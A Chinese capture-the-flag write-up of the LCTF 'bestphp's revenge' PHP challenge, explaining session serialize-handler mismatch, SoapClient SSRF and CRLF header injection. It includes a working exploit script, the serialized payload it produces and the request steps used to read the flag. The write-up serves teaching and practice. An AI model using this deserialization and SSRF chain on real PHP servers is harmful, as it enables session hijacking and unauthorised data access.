bestphp‘s revenge1

news2024/9/19 23:38:03

进入这个页面又是令人激动的代码审计环节.

不过再次之前呢先补充一些弥足珍贵的知识点. 

前置知识点:

call_user_func()

call_user_func() 是 PHP 中的一个非常有用的函数,它允许你调用一个回调函数。回调函数可以是一个匿名函数(也称为闭包),或者是一个已经定义好的函数名(字符串形式)。此外,你还可以传递一个数组作为第一个参数,其中数组的第一个元素是对象,第二个元素是该对象上要调用的方法名,从而实现对对象方法的调用。

session_start(); 

首先我们给我一段代码来看看三种不同的session.serialize_handler 配置对数据序列化格式的影响. 

<?php
session_start();
$_SESSION['name'] = 'love';
?>

session.serialize_handler=php        name|love

session.serialize_handler=php_serialize        a:1:{s:4:"name";s:4:"love";}

session.serialize_handler=php_binary        二进制格式不可读

当session.serialize_handler序列化与反序列化存储引擎不同的时候即可触发漏洞

举个例子:

当我们传入$_SESSION['name'] = '|love'并且序列化时,此时存储引擎为php_serialize

那么存储的结果为:a:1:{s:4:"name";s:5:"|love";}

之后反序列化时用的存储引擎为php时,反序列化结果为[a:1:{s:4:"name";s:5:"] =>[love]

意思是他的key-value结构中key:a:1:{s:4:"name";s:5:"  而value:love ,从而触发漏洞.

PHP原生类SoapClient

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求. 

        解释: 

 PHP 的 SoapClient 类是用于访问 SOAP(Simple Object Access Protocol)服务的。SOAP 是一种基于 XML 的协议,它允许网络服务在应用程序之间交换信息。PHP 的 SoapClient 类提供了一种简单的方式来与 SOAP Web 服务进行交互。

        配置选项:

SoapClient 构造函数接受一个可选的关联数组作为第二个参数,该数组可以包含各种配置选项,如上面示例中的 trace 和 exceptions。其他常见的选项包括:

  • location:SOAP 服务的地址(如果 WSDL 文件中未指定)。
  • uri:SOAP 请求的命名空间 URI。
  • soap_version:指定 SOAP 版本(SOAP_1_1 或 SOAP_1_2)。
  • encoding:字符编码(如 'UTF-8')。

vardump()

var_dump() 是 PHP 中一个非常有用的函数,它用于输出变量的详细信息,包括变量的类型和值。当你需要调试 PHP 脚本中的变量时,var_dump() 是一个非常有用的工具,因为它不仅显示变量的值,还显示变量的类型(如 int、string、array、object 等)。

reset($_SESSION)

举个例子吧.

<?php
session_start();  
$_SESSION['user_id'] = 1;  
$_SESSION['username'] = 'john_doe';  
$_SESSION['email'] = 'john@example.com';  

// 重置内部指针到第一个元素  
reset($_SESSION);  

// 获取第一个键值对  
$first_key = key($_SESSION); // 'user_id'  
$first_value = current($_SESSION); // 1  

echo "第一个键: $first_key, 第一个值: $first_value"; // 输出: 第一个键: user_id, 第一个值: 1
?>

意思是reset()函数会指向session存储内部的第一个键值对. 

CRLF漏洞

CRLF(Carriage Return Line Feed)漏洞是一种常见的网络安全漏洞,通常出现在Web应用程序中。它允许攻击者通过注入特定的字符序列(CR和LF)来操控HTTP响应头,从而可能导致HTTP响应拆分、跨站点脚本(XSS)或其他攻击。

        举个例子:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

        这个时候我们可以看到通过\r\n在SoapClient的attrack对象中还添加了PHPSESSION,从而实现控制请求头. 

payload:

之后我们开是注入.

访问该网页的flag.php目录.

 

得到flag.php页面的源代码.

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

意思是访问者的IP地址要为127.0.0.1,如何为真则将flag的内容存储到SESSION[flag]中去,之后我们就可以通过携带正确的session去获得flag的value(vardump($_SESSION)--显示出flag的value),那么我们需要SSRF漏洞来实现.

那么我们需要SSRF那么就可以用SoapClient去实现,我们可以调用SoapClient类不存在的方法,从而调用它的_call方法,去实现对其内部定义的location地址的访问(自己访问自己).

首先我们要定义这个类并且控制其内容,之后调用一个它不存在的方法,同时注意要存在正确的session(通过CRLF漏洞实现),最后通过携带正确的session的value去获取该session所储存在服务器的key-value(flag值).

话不多是开始实践:

        首先构造SoapClient的序列化value.

exp:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

result:

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Dtcjr6nadpk3md7jbgioa6elfk4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

开始注入.

首先传入构造好的序列化对象(name=....),并改变服务器session存储器的类型(GET:f=session_start POST:seralize_handler=php_serialize)使其成功存入.

 

之后调用SoapClient类的_call方法,造成SSRF请求伪造. (name=SoapClient,f=extract,POST:b=call_user_func),其中f的作用是将b的implode变量覆盖从而达到call_user_func(array(call_user_func,SoapClient))的效果.

 

带着自定义的cookie去访问目标服务器从而获取flag. 

 

游戏结束~ 

 

 

         

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2135080.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C#实现串口中继

前一段时间为了测试硬件产品&#xff0c;发现&#xff0c;串口转发不太方便&#xff0c;于是自己写了一个简单的串口中继小程序&#xff0c;是基于C#开发的&#xff0c;可以将两个串口互通&#xff0c;方便自己在程序的使用&#xff0c;目前看起来应用还可以&#xff0c;现在把…

2024年最新软件测试面试题【附文档答案】

【纯干货&#xff01;&#xff01;&#xff01;】花费了整整3天&#xff0c;整理出来的全网最实用软件测试面试大全&#xff0c;一共30道题目答案的纯干货&#xff0c;希望大家多多支持&#xff0c;建议 点赞&#xff01;&#xff01;收藏&#xff01;&#xff01;长文警告&…

《Discriminative Class Tokens for Text-to-Image Diffusion Models》ICCV2023

摘要 论文讨论了文本到图像扩散模型的最新进展&#xff0c;这些模型能够生成多样化和高质量的图像。然而&#xff0c;生成的图像常常缺乏细节&#xff0c;并且由于输入文本的歧义性&#xff0c;容易产生错误。为了解决这些问题&#xff0c;作者提出了一种非侵入式的微调技术&a…

AgentOhana:为智能体学习设计统一的数据和训练流水线

人工智能咨询培训老师叶梓 转载标明出处 多源数据异构性问题通常来源于多轮交互的Agent相关数据。不同数据集之间的数据结构、语法、标签约定和处理方法的多样性&#xff0c;使得LLM的训练和微调过程变得复杂&#xff0c;且容易引入偏差和不一致性。为了应对这些挑战&#xff…

2024年做了TMMi认证的中国企业有哪些

&#xff08;本文章企业名单来源&#xff1a;TMMi基金会官方网站&#xff09; 您是否想要了解2024年&#xff08;截至8月底&#xff09;有哪些新增企业做了TMMi认证&#xff08;不含2级&#xff09;&#xff1f; 以下是TMMi基金会官网查询的内容&#xff1a; TMMi基金会官网公…

数据结构————单链表

目录 一、单链表的定义及其特点 定义 特点 二、单链表的实现 准备工作&#xff1a; 1.单链表的创建 1.1头插法介绍 1.2尾插法介绍 总结&#xff1a; 2.单链表的初始化 3.单链表的求表长 4.单链表的销毁 5.单链表的插入 6.单链表的查找 6.1按序查找 6.2按值查找 7…

UDP聊天室项目

代码思路 服务器 #include <stdio.h> #include <sys/types.h> /* See NOTES */ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h>…

每周心赏|极致浪漫,这些中秋仪式感AI住了

盈月揽星辉&#xff0c;万家赴团圆。✨ 月光散尽&#xff0c;总是带着一丝温柔的凉意。 &#x1f342;清风拨弦&#xff0c;总是留存着诗意的古韵悠扬。 千年前&#xff0c;李白对月独酌&#xff0c;苏轼对影成双&#xff0c; 千年后&#xff0c;文心智能体便利店与你穿越时…

adb的安装和使用 以及安装Frida 16.0.10+雷电模拟器

.NET兼职社区 .NET兼职社区 .NET兼职社区 1.下载adb Windows版本&#xff1a;https://dl.google.com/android/repository/platform-tools-latest-windows.zip 2.配置adb环境变量 按键windowsr打开运行&#xff0c;输入sysdm.cpl&#xff0c;回车。 高级》环境变量》系统变量》…

【C++】_stack和_queue容器适配器、_deque

当别人都在关注你飞的有多高的时候&#xff0c;只有父母在关心你飞的累不累。&#x1f493;&#x1f493;&#x1f493; 目录 ✨说在前面 &#x1f34b;知识点一&#xff1a;stack •&#x1f330;1.stack介绍 •&#x1f330;2.stack的基本操作 &#x1f34b;知识点二&…

电脑之间如何快速传大文件?

这里&#xff0c;为大家介绍一款免费的远程桌面软件——远程看看&#xff0c;该软件不仅支持远程控制&#xff0c;还提供了文件传输功能&#xff0c; 用户可以传输单个文件大小不超过2TB&#xff0c;且传输速度可达每秒10MB。若您不知道电脑之间如何快速传大文件&#xff0c;远…

城市交通标线检测系统源码分享

城市交通标线检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer…

redis基本数据类型和常见命令

引言 Redis是典型的key-value&#xff08;键值型&#xff09;数据库&#xff0c;key一般是字符串&#xff0c;而value包含很多不同的数据类型&#xff1a; Redis为了方便我们学习&#xff0c;将操作不同数据类型的命令也做了分组&#xff0c;在官网&#xff08; Commands | Do…

Kafka 基于SASL/SCRAM动态认证部署,kafka加账号密码登录部署

文章目录 前言下载 kafka安装启动zookeeper添加账号密码 启动kafka修改kafka配置文件增加jaas授权文件修改启动文件&#xff0c;启动kafka检查是否部署成功 offset explore 连接 前言 其实挺简单的几个配置文件&#xff0c;问大模型一直没说到点上&#xff0c;绕晕了。SASL/SC…

Vue3.0组合式API:setup()函数

1、什么是组合式API Vue 3.0 中新增了组合式 API 的功能&#xff0c;它是一组附加的、基于函数的 API&#xff0c;可以更加灵活地组织组件代码。通过组合式 API 可以使用函数而不是声明选项的方式来编写 Vue 组件。因此&#xff0c;使用组合式 API 可以将组件代码编写为多个函…

浅谈EXT2文件系统----超级块

超级块概述 在 EXT2 文件系统中&#xff0c;超级块&#xff08;superblock&#xff09;是一个非常重要的数据结构&#xff0c;包含了文件系统的全局信息。每个文件系统都有一个超级块&#xff0c;位于文件系统的第一个块之后&#xff0c;通常在块组的起始处。 超级块包含以下关…

Autosar模式管理实战系列-COMM模块状态机及重要函数讲解

1.Channel状态管理 上一节提到ComM进行通信模式管理提供有两大状态机,另外一个就是Channel状态管理。这里的Channel指的是一个通信总线,目前项目主要是采用CAN总线。ComM 模块对每一个Channel都定义了一个状态机,用于描述通道的各种状态、状态转移关系和状态转移动作。该状…

NFT Insider #147:Sandbox 人物化身九月奖励上线;Catizen 付费用户突破百万

市场数据 加密艺术及收藏品新闻 Doodles 动画特别剧《Dullsville and The Doodleverse》在多伦多国际电影节首映 Doodles 最近在多伦多国际电影节&#xff08;TIFF&#xff09;首映了其动画特别剧《Dullsville and The Doodleverse》&#xff0c;这是该品牌的一个重要里程碑。…

享元模式详解:解锁高效资源管理的终极武器

&#x1f3af; 设计模式专栏&#xff0c;持续更新中 欢迎订阅&#xff1a;JAVA实现设计模式 &#x1f6e0;️ 希望小伙伴们一键三连&#xff0c;有问题私信都会回复&#xff0c;或者在评论区直接发言 享元模式 享元模式&#xff08;Flyweight Pattern&#xff09; 是一种结构型…

yaml配置文件(SpringBoot学习4)

SpringBoot使用一个全局的配置文件&#xff0c;配置文件名是固定的 application.properties 语法结构&#xff1a;keyvalue application.yaml 语法结构&#xff1a;key:空格value #是注释 #yaml 普通的key - value 例&#xff1a;name&#xff1a;…